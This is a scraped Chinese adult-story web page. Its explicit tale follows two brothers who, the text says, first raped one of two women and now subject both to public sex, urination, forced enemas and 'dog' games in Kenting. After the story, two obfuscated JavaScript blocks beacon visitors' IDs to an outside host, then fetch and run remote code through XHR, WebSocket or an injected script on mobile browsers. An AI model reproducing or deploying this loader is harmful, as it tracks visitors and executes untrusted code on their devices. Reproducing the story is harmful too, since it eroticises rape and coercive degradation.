图片载入中

入夜的垦丁

特大字】 【大字】 【中字】 【小字

台湾就是这么一个诡异的地方,什么地方都看起来像一个夜市,从基隆庙口、淡水河边、新竹庙口、花莲海边到热闹滚滚的垦丁。

入夜以后的垦丁,街道上塞满了各地来的观光客,也不知道这些人来垦丁谢谢!!什么,他们把台北那套东西通通搬来这条拥挤不堪的街道上,然后在这边晃来晃去,晃得很高兴的样子,搞不懂得是谢谢!!嘛大老远跑过几百公里来垦丁吃一样的东西,玩一样的花样。

雅雯一行四个人也在这条街上晃着,两个大美女配上两个有点丑陋的壮汉显得有点突兀,许多人大概都以为这是黑社会的人带情妇出来逛街,都是偷瞄着这奇怪的组合。

瑞兰穿着一身红色,因为这是阿海他们喜欢她穿的颜色,红色的高跟短靴、红色的GUCCI紧身牛仔裤,红色的短T恤,露出健美纤细的一段水蛇腰,她还带了她的GUCCI红色太阳眼镜雅雯穿着紫色高跟凉鞋,那是新买的ESPRIT,配上镶着亮片的黑色紧身裤,有点透明的丝质白色短衬衫下面有紫色胸罩的影子。

垦丁嘛,应该是要轻便些的,这可是她和瑞兰约好要穿的。

可是有一件小东西可不在她和瑞兰的约定里,那就是塞在阴道里面的假阳具,因为穿紧身裤的关系,把那双叉式的假阳具塞得更紧,走在路上,那火热的震动几乎要让她叫出声音来,由于全部的注意力都放在下体的关系,雅雯只好紧紧抓着阿涌的手臂向前走着,不然她恐怕一下就跌倒了。前头的瑞兰也是一样,她无力的把头靠在阿海的肩膀上,阿海则用手揽着她中空的水蛇腰,免得瑞兰一个踉跄就跌倒了。

“这样,好难受哦。”瑞兰在阿海的耳朵边吐着热气说

“你这样走路特别好看。”阿海笑着说瑞兰努力避免刺激到蜜穴中的电动假阳具,可是为了维持形象,可又不能双脚开开的走路,加上脚上的高跟短靴,走起路来一副摇摇欲坠的样子,就像风中的红玫瑰一样,跟古人三寸金莲的走路方式有异曲同工之妙。

“真的吗?可是实在太刺激了一点”瑞兰说,这样子走在人群之中,除了生理上的刺激之外,更有心理上的刺激,尤其当别的男人用欣赏的眼光看着自己的时候,瑞兰觉得好像每个人都看穿了自己的底裤,看到里面那震动不停的电动阳具一样,那羞耻的快感因为这样更加的可怕。

“你看,所有的人都在看着你,你这样实在太吸引人了。”阿海说“我们的车停在前面那边,只要你走完这段路,我们就开车到没有人的地方,把那个东西拿出来,用我的东西塞进去,你说好不好。”阿海附在瑞兰的耳边说“要是不够的话,我老弟的东西也一起塞给你,怎么样啊。”

瑞兰听到这种挑逗的话,身体更加敏感,全身火热,她把嘴贴在阿海的耳边说:“那我要把你榨干,让你举不起来。”瑞兰说完,偷偷咬了一下阿海的耳垂,在阿海耳边媚笑着。搞得阿海色心大起。

走到一半,阿涌停下脚步,跟路边的摊贩买了几支煮玉米吃,这时候雅雯却突然蹲下来,阿涌买了玉米,也蹲下去问:“怎么了?”

雅雯红着脸在阿涌耳边说:“我的裤子湿了啦。”原来刚刚卖玉米的小贩弯腰拿玉米,就看到雅雯黑色的紧身裤中间有水渍的痕迹,不禁多看了两眼,雅雯觉得不好意思,就蹲下来。

阿涌转过头去看雅雯的背后,原来那条水渍线沿着雅雯的股沟蔓延,连屁股上也湿了。可是雅雯的注意力全被集中在蜜穴中的震动假阳具上,哪里会知道。

“我不好意思走路了啦。”雅雯说,蹲着不肯站起来。

这时候阿涌和瑞兰也走了过来,了解状况后,瑞兰也蹲了下去,淫水超多的她湿得更厉害,连大腿都湿了。

“喂,小姐,这样会被人家看笑话啦。”阿涌说

“你们背我们走嘛。”雅雯撒娇的说,两兄弟无奈,只好把雅雯和瑞兰背在身上走,可是实际上这样却没有解决任何问题,因为本来不是很引人注意的湿裤底,因为被阿海兄弟背了起来,紧身裤紧紧的绷在两颗嫩桃一样的圆臀上,反而刚好暴露在别人眼前。

但是雅雯和瑞兰却不觉得不好意思,因为被背着两腿大张,且不用走路,蜜穴中的骚动减轻不少,两人趴在阿海兄弟的背上,反而轻松起来。

“喂,你乱动个什么劲啊。”阿涌抗议着,因为雅雯这时候故意把两颗奶子往阿涌背上挤,还故意把头埋在阿涌肩上,伸出舌头去舔他的脖子,搞得阿海胯下的肉棒涨得老大,偏生他穿着松松的休闲裤,胯下的帐棚搭得很高,弄得他只好把身体前倾

“因为人家想要啊。”雅雯低笑着说,双臂抱紧阿涌,把柔软的乳房往阿涌背上挤,然后继续舔着阿涌的后脖子,欣赏着阿涌涨红的一张黑脸,“你也会不好意思哦……”。

被两个女人这样一搞,换两兄弟这回步履维艰了,本来威风的带着马子逛街的快事,变成肉棒硬挺挺的搭着帐棚走路,好不容易走过了热闹的街道,到租来的吉普车旁,两兄弟这时谁也不想去开车,都想在后座跟美女温存,争执不下的情况下,只好猜拳决定,一猜下去,却是阿海输了,阿海苦笑着坐上驾驶座,阿涌和瑞兰、雅雯却都要去挤后座。

“喂,这样不公平。”阿海抗议着。

“你开车危险啊。”瑞兰笑着说,“大老公,待会开到地方我们在一起玩嘛!”她搂着阿海的脖子说

阿海无奈,只好看着弟弟左拥右抱的坐在后座。他发动吉普车,车灯划过黑夜的垦丁半岛,渡假圣地的气温十分炎热,和他胯下肉棒的温度一样。

黑夜的垦丁路上并没有太多的路灯,不过路很宽,也很平,是适合开车兜风夜游的地方,只是这时候的阿海总觉得开车并不舒服,他要很努力才能让自己专心在开车上,因为不管是后照镜中的景象或是耳边一阵阵恼人的叫声都让他分心。

“啊,我不行了,这样好刺激噢。”阿海旁边的助手座位已经被推倒,雅雯甩着头发,正在大叫,她的紫色胸罩被随便的丢在前座,薄薄的衬衫更是早就被剥开,D罩杯的乳房紧紧的压着椅背,搽成紫色的假指甲因为她太过用力抓椅背的关系,已经剥落了两三片,她圆俏的年轻屁股,正努力的摇动着,迎接着后面那中年人的粗黑阳具朝她湿滑紧热的欲望深处插去。

旁边的瑞兰也没闲着,她早把自己的裤子褪到地板上,两腿大张,任由阿涌粗糙的手指伸进她蜜汁满溢的肉洞里,粗暴的抠弄着。至于那紧身的红色T恤也拉了起来,没穿胸罩的乳房就直接暴露在淫糜的空气中,瑞兰一边让阿涌抠着肉洞,一边往阿涌身上靠过去,两片娇艳的红唇和阿涌的贴在一起,两人的舌头也搅得难分难解。虽然阿海租的车空间已经比较大,但在车厢内这样弄,要不是瑞兰长时间练瑜珈还真不是简单的事情。

在刚刚夜市那样的刺激下,瑞兰和雅雯哪里还顾得了矜持这种事,她们两一上车,两人就往阿涌身上挤,两人本来应该很优雅的手,这时却如四只飞舞的蝴蝶,一下子就把阿涌的短裤脱掉,也把禁锢着自己饥渴欲望的衣服扯开,匆忙之下,雅雯的胸罩飞到阿海的方向盘上,瑞兰的内裤飞到了雅雯的头上,在两人争着去舔阿涌的肉棒时,还不小心撞到了头最后虽然是瑞兰微张的红唇下吐露着沈醉的叹息,而紧窄的蜜穴中更忘情的激射出渴望的花蜜。

“俺谢谢!喂(台语、我的妈啊),有够爽A”阿涌说着,满足的让自己的肉棒沈浸在雅雯热情的蜜穴里

这看在瑞兰的眼中,更是激起她如火的欲望,跟阿涌吻了一阵之后,她一边用舌头舔着阿涌的耳垂,一面娇媚的说:“人家也想要啦。”,瑞兰此时身体深处的渴望,实在不是阿涌的两根手指可以满足的。

可是一根肉棒可不能插两个穴,现在这状况可不是搞轮流可以解决的,更糟的是雅雯的肉洞紧紧的缠着阿涌的肉棒,在阿涌的大脑里根本没有充足的血液来想事情。还好瑞兰色急智生,不愧她留美名校的脑袋,她头对着另外一边车门,用她美丽的长腿把屁股抬高,往阿涌身上挤过去,让阿涌用舌头舔自己。

不过这却造成阿涌的极度困扰,他试着把肉棒拔出雅雯的蜜穴,插一下瑞兰,不过雅雯却非常技巧的将充满的弹性的臀部紧紧的贴着阿涌的下腹部。阿涌看着瑞兰迷茫哀怨的眼神,正不知如何是好,这时却看到掉在椅子上的,那买了一阵子的煮玉米,阿涌便拿起还热热的粗大玉米,朝瑞兰的蜜穴里送,瑞兰初时还没什么感觉,不过一下子之后,就发现到玉米的颗粒,不过这时已经太慢了,她充满蜜汁的肉洞,只想被又硬又热的东西插入,阿涌很快的就把那根热腾腾的玉米给塞了一半进去。

“啊不可以噢不行啊噢天啊好热……好涨啊”瑞兰虽然口中拒绝着,不过在热腾腾的玉米塞进去之后,玉米的颗粒摩擦着她肉洞中每个饥渴的皱折,热腾腾的温度烫平了她所有的抗拒,很快的瑞兰那修长的身躯就随着一根二十元的煮玉米而摆动起来,任那饱满圆润的玉米,在她粉嫩多汁的蜜穴中进进出出。

“谢谢!!,你连玉米也好噢,给玉米谢谢!!很爽吗”阿涌一面享受着雅雯的激烈动作,一面使劲的拿玉米在瑞兰的身体里搅动。

“我我不知道唔好深啊啊到底了……”瑞兰发出喘息的声音,使劲的扭动臀部来回应玉米的攻击,瑞兰虽然知道自己身体里插进来的是玉米,但是不过自己的身体一样传来激烈的快感,瑞兰体认到肉体的堕落,不过却无法抗拒快感的侵袭

“嘿嘿看起来玉米比我的老二还要好的样子。”阿涌促狭的说,他没想到一根玉米竟然有如此的效果。“雅雯妹妹,你要不要换玉米试试啊。”阿涌笑着说

可是雅雯根本不理他,她喘着气,努力的动着臀部,她的花唇已经撑开,从塞满的蜜穴中流出满足的花蜜,一下一下的吞噬着阿涌粗黑火热的肉棒,发出淫猥的噗滋声,在疾驰漆黑的公路上,享受粗大肉棒摩擦着子宫的快感,没多久,雅雯就达到了高潮。

“啊噢噢人家要到了啊啊”雅雯呻吟着,动作减慢了下来,虽然车内的冷气开得很强,可是激烈的运动让她的背上都是晶莹的汗水,兴奋的高潮则让她的下半身都是黏黏的淫水。

阿涌这时候放开了瑞兰的玉米,抱住雅雯的纤腰,挺起狗公腰,一下下猛插起来,雅雯此时脑中又开始一片晕眩,一阵阵快乐的火花不停的从阿涌的龟头直达脑门,弄得雅雯叫的是更加惊心动魄。

“天啊啊……爽死了呀人人家死了啊啊啊老公谢谢!!死人了噢噢升天了……啊”雅雯放声娇唿着。

正当雅雯狂叫的时候,一阵海风灌了进来,原来这时候车子停了下来,停在海边一处没人的停车场上,阿海连忙下车把靠近瑞兰那边的车门打开,车门刚打开,瑞兰只见阿海的背后是一片清黑的夜空,繁星点点,夜风飒飒,可是瑞兰一双渴望的丹凤眼只望着阿海鼓得老高的裤裆上。阿海贼贼的笑着,瑞兰吞了吞口水,突然从车内整个人扑到阿海身上,把阿海压倒在水泥地上,狂乱的脱去阿海的短裤,不顾自己几近半裸的身体,也不顾外面可能会被人看到。

“靠,强奸啊。”阿海笑说一面把自己的短裤踢走。

“我就是强奸你,怎样?”瑞兰满脸通红的说,她扶着阿海的巨炮,抬高屁股,把龟头对正肉洞口,噗滋一声把整根肉棒直插到子宫深处。“噢啊……”,瑞兰大叫一声,虽然她一下吞得豪爽,不过吞进去之后却软倒在阿海身上,“棒死了噢……”

“动啊,怎么啦?不是要强奸我吗?”阿海一面爱抚着瑞兰,一面在瑞兰的耳边说着。

“人家一下就没力气了嘛。”瑞兰害羞的说

“为什么没力气啦?”阿海说“不是很爽吗?”

瑞兰摇摇头不说话,一张粉脸红得要滴出血来,刚才由于一时饥渴难耐,才做出这种白羊扑狼的举动出来,这种事情实在不是她自己能接受的,可是阿海的巨炮一下塞到底的快感,纾解了她的淫欲,便害羞了起来。

阿海看到瑞兰这种小女孩的神情,心里一阵五味杂陈,眼前这美丽高傲的女子本来不属于自己这个世界,就算是他们占有了瑞兰的身体已经有两三个月,可是瑞兰从不曾显露过这般娇羞爱慕的神情。他和阿涌本来只是因为生活困顿却又性欲高张,一时巧合遇到雅雯掉了手机,又碰见瑞兰闯了进来。

这两个美女让两兄弟自卑的心态彻底改变,今天在拥挤的夜市中,两兄弟享受着旁人诧异的目光,两个欠了一屁股债的末路客,却能搂着瑞兰和雅雯这样的大美女昂然走在街上,这种骄傲的感觉可是这辈子前所未有。阿海看着瑞兰涨红的脸,只觉得此时此刻无比满足,能让这样一个女子用爱慕的眼神看着,能把肉棒插进她身体的深处,他什么都不要了。

瑞兰这时也发现阿海的神情似乎有些诡异,那种神情既不是初次强暴自己时那副穷凶极恶的模样,也不是以后玩弄自己时那副淫猥奸诈的表情,尽然是如月光一般的温柔眼神,在两人紧密结合的时候,瑞兰发现自己有了更深的满足和快感,不只是肉棒尖端摩擦子宫的肉欲快感,更有着一种从心里发出的甜蜜爱恋。

“啊我好爱你”瑞兰忘情的说着,然后主动的将娇艳的红唇贴上了阿海的,阿海也热情的吸吮着,就如同瑞兰的蜜穴也正紧紧吸着阿海的肉棍一般,阿海抱着瑞兰的纤腰,把肉棒一下下刺进瑞兰的深处,粗黑的肉棒把粉嫩的花唇撑到极限,白色的蜜汁把阿海的黑肉棒弄得活像根糖霜巧克力棒。

“啊噢老公噢今天好棒噢太美了啊啊”瑞兰舒服的发出呻吟声,而且主动的扭着圆臀配合着阿海的抽插。

“谢谢!!你今天真她妈的骚扭得真棒啊夹得你老公超爽……”阿海喘着气说,两手握着瑞兰的乳房揉弄着,他觉得今天的感觉真的很不同,和以往跟瑞兰做爱的感觉完全不一样,除了性的满足之外,更有一些别的东西,这是在阿海三十几岁的人生中从未感受过的快感,好像瑞兰那紧窄的小肉洞是这世上最美好的地方,是专为自己的肉棒所打造的天堂一样。

“是吗”瑞兰笑了起来,细细的汗珠在她泛红的脸上显得无比热情,瑞兰更加卖力的扭动着水蛇腰,让体内粗大火热的肉棍熨平小穴内每一个渴望的皱折,此时的瑞兰也感受到前所未有的快感,这满足感远远超越过去被两兄弟玩弄挑逗的官能肉感,而是更深层的解放和爱恋,解放的是她过去的高傲和矜持,爱恋的是两兄弟的不顾一切,在她体内放肆驰骋的的火热激情。

“不行了啊死掉啦啊噢……”阵阵激烈的快感如面前的海潮一样不停的涌来,在美丽的夜色下,瑞兰达到无比的高潮,可是阿海仍然不放过她,翻身将瑞兰压倒在地,火热粗大的肉棒不停的追杀而来。

“什么东西在谢谢!!你?嗯?”阿海把瑞兰修长的双腿扛在肩上,展开长程攻击,完全抽出后,又猛力撞到底,瑞兰的淫水是喷得到处都是。

“是大鸡巴啊是啊老公的大鸡巴噢大棒子啊我不行啊救命啊要死了谢谢!!谢谢!!死人家啦啊啊”瑞兰发疯一样的浪叫,根本忘了这是在户外,阿海也是猛力狠撞,略胖的啤酒肚不停的撞在瑞兰紧实的臀部上发出啪啪啪的巨响,而且一直持续着,搞得瑞兰有气叫到无力,在最后只能发出乱七八糟的哼声。

总算阿海停止了抽插,可是瑞兰处于极度高潮的身体仍然不停的跳动着,追索着阿海的肉棒。

“臭母狗,很爽吧呵呵”阿海喘着气说,豆大的汗珠滴在瑞兰的脸上。

瑞兰也还在喘着气,刚刚那种感觉好像自己的高潮持续了一个世纪那么久,现在的她根本说不出话来,虽然她跟两兄弟做爱也不知多少次了,可是却从来没有像刚刚那样的快感产生。

“今天特别爽对吧”阿海说,“你今天特别可爱,又放得开”阿海并不知道瑞兰的改变来自哪里,但是他能明显的感觉到瑞兰的不同,他不知道的是,他们兄弟俩也已经有所不同了。

“喂!准备下一阶段了吧。”这时阿涌牵着雅雯走过来,刚泄了好几次的雅雯被戴上了项圈,绑上了狗链,手脚并用的跟在阿涌的后面,还换上了阿涌为她们准备的母狗装,那是一套黑色的紧身的塑胶皮衣,长得很像连身泳装,只是重点部位通通裸露在外,外带网状的黑色丝袜和高跟长靴,为了方便雅雯在地上爬行,阿涌还给雅雯带了护具以防雅雯的细皮嫩肉受到伤害。更怪的是阿涌自己也只穿了件开裆泳裤,一根半硬半软的肉棍就在外面晃啊晃的。

“好下一阶段了。”阿海擦了擦汗,从瑞兰的身上爬起来,软摊在粗糙水泥地的瑞兰根本无力阻止。

“喝点水吧。”阿涌拿出矿泉水来,不过却不拿给瑞兰喝,反而咕嘟咕嘟的自己喝了起来。

“人家也口渴嘛。”瑞兰撒娇起来。

“你真的要喝?”阿涌说,“好吧,喝水喝水。”阿涌这时走到瑞兰身边,把那根晃啊晃的肉棍垂在瑞兰的面前,瑞兰还以为阿涌是要她做口交。

“人家口渴,吃这个又没有用。”瑞兰娇嗔着。不过话还没说完,一道又热又馊的黄色水柱却直接从阿涌的马眼直射向瑞兰的粉颊“哎呀,你谢谢!!什么。”瑞兰偏头闪避着,可是躺在地上的她,却无法躲掉阿涌的尿柱。

“喝啊,这就是水啰。”阿涌嘿嘿贼笑,尿柱瞄准着瑞兰的脸直射而下,夜色下瑞兰本来就因为流汗而有点花掉的妆,在尿液的喷射下,粉底被冲掉了,俏丽的睫毛被洗直了,复杂的眼影被洗花了,连号称防水不脱妆的亮彩唇膏也几乎被洗得一干二净,连她刚到垦丁前才作的短发也喷湿了。

“你做什么啦”瑞兰难过的说,“这里是在外面耶,又不是在家里,这下人家全身都脏了,怎么回旅馆”虽然瑞兰被喷尿喷得多了,也不是没喝过,可是现在人在外面,赤身露体的,又没地方洗澡,她们又是住得五星级饭店,想到待会要进饭店大厅,自己这副样子可怎么办

“不担心。我们去海里面洗个干净”阿海这时已经从车上拿了一包衣物过来,还有一副项圈和手电筒,“快换衣服,晚上游泳特别舒服。”阿海把衣服丢在地上,那是另外一套跟雅雯一样的洞洞皮衣、靴子和护具,阿海也换上了跟他弟弟一样的游泳裤,那根肉棒上还沾了白白的黏液。

瑞兰忍着尿骚味,换上那套母狗装,四人在阿涌的带领下,靠着手电筒的灯光,沿着路边的小径走到无人的海滩上,那海滩不大,倒是看见几只狗在沙滩上追逐。

“哇,我们几只假狗倒碰上了真狗了。”阿海笑着说“来来来,我们来玩常玩的母狗游戏,来,叫两声,母狗”阿海关掉了手电筒,恢复四周一片漆黑的环境,四人勉强看见彼此的身影和容貌。

“不要啦,在外面耶。”雅雯抗议着,“穿这样就很丢脸了。”

“怕什么,这么黑,人家又看不见,快叫。”阿涌甩着手上的皮制狗链,啪的一声打在雅雯的大腿上。

“汪、汪汪”雅雯低叫两声,而且开始摇着屁股,把衣服上那条短尾摇得活跳跳的。

“这才乖。”阿涌称许着,然后他转头看着阿海和瑞兰,“老哥,你搞定没。”

黑暗中只见一个略胖的黑影牵着一个四足前进的苗条身影,那苗条身影对着阿涌这边发出一声声“汪汪汪”的叫声。

“这样才乖,我现在宣布,狗狗游戏开始。”阿涌宣布着,“你们是骚母狗,我们是色公狗,谁也不比谁高级。”

“不过在游戏开始以前嘛,先来两瓶这个。来,好母狗,趴下去啰。”阿涌说着,雅雯依稀看见那是两个大号的300cc甘油球。

“不要啦。”雅雯抗议着,“这边是在外面耶。”不过她还是听话的趴在沙滩上,挺起她的臀部。

“谁叫你说话的,有看过说人话的母狗吗?”阿涌说,又赏了雅雯一鞭,“谢谢!!,亏你读到大学毕业,一点常识都没有。来,乖,我把这个打进去,然后从前面那个洞谢谢!!进去,想想看,那时候你的小洞洞超会夹的。”阿涌一边说,一边分开雅雯的臀肉,把甘油球的先端插进去,慢慢的把透明的甘油挤进雅雯的直肠里

“啊,汪汪汪”雅雯学着狗叫声,虽然她被灌肠已经是常态了,可是在沙滩上可是第一次,而且不管来多少次,灌肠后性交的可怕感觉根本无法忘记,只是她的心里却充满刺激的期待感,雅雯自己也不知道为什么会这样,自己已经习惯于这样变态的性爱了,每次凉凉的甘油液从肛门慢慢的灌满自己的肠道时,身体就会流出淫荡的蜜汁,因为待会就会有火热的肉棍贯穿她的身体

阿海这时候也把瑞兰牵到雅雯身边,两个人并排趴在沙滩上,两颗白桃似的屁股抬得高高的,臀肉被掰开,而在那之间是两兄弟把饱满的甘油球挤扁的手,挤完了一颗,又加一颗,变成母狗的两个女孩不停的发出讨饶的鸣叫声,但那声音听来殊无可怜之感,反倒是充满了挑逗的诱惑。

“汪汪!!”阿海和阿涌听到这种叫声,胯下的肉棒也早就挺得老高,两人也趴了下去,从后方将粗黑的肉棒深深的插入雅雯和瑞兰紧夹的蜜穴中。

“呜”阿海仰天学起狗嚎的声音,受到浣肠的刺激,雅雯的嫩穴收缩的劲道十分强劲,肉棒完全感受到雅雯的体热,他抱着雅雯雪白的美臀,龟头不停的撞击着雅雯的花心,雅雯秀丽的眉毛扭曲,眉间皱起,葱管一样的手指紧紧的抓着沙地,每次阿海撞到底的时候,为了忍受从肠壁和下体传来的灼热感,雅雯的身体就是一阵微微的颤抖,似乎十分痛苦,但是她火热驼红的双颊,和吐出淫荡哼声的双唇却是一副爽到不行的快感。

并排在旁边的瑞兰则是随着阿涌每一次激烈的撞击,身体就往前移动一点,因为蜜穴收缩的力量很强,阿涌每次要抽出时,都感受到强大的吸力,而瑞兰的花心更紧紧的吸吮着阿涌的大龟头,让阿涌发出低沈的喘息声。而阿涌的动作,更让瑞兰发狂一样的摇着头,俏丽的短发在闪着微光的海面上飞散开来,那肉棒好似要贯穿她纤瘦的身体,直通脑门一样,让瑞兰对着的海面不停的发出母狗般的鸣叫声。

在昏暗的夜色下,四个人发狂一般的交合着,浑然忘了身在何处,面对着空无的大海发出一声声像兽类一般的嚎叫,就在一声声如同狼嚎的叫声中,雄兽灼热的精液灌进了母兽的体内,而雅雯和瑞兰雪白的屁股也把憋了一肚子的粪水通通给喷进了无垠的大海中。


上一篇:迷失拼图

下一篇:如果还有来生


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};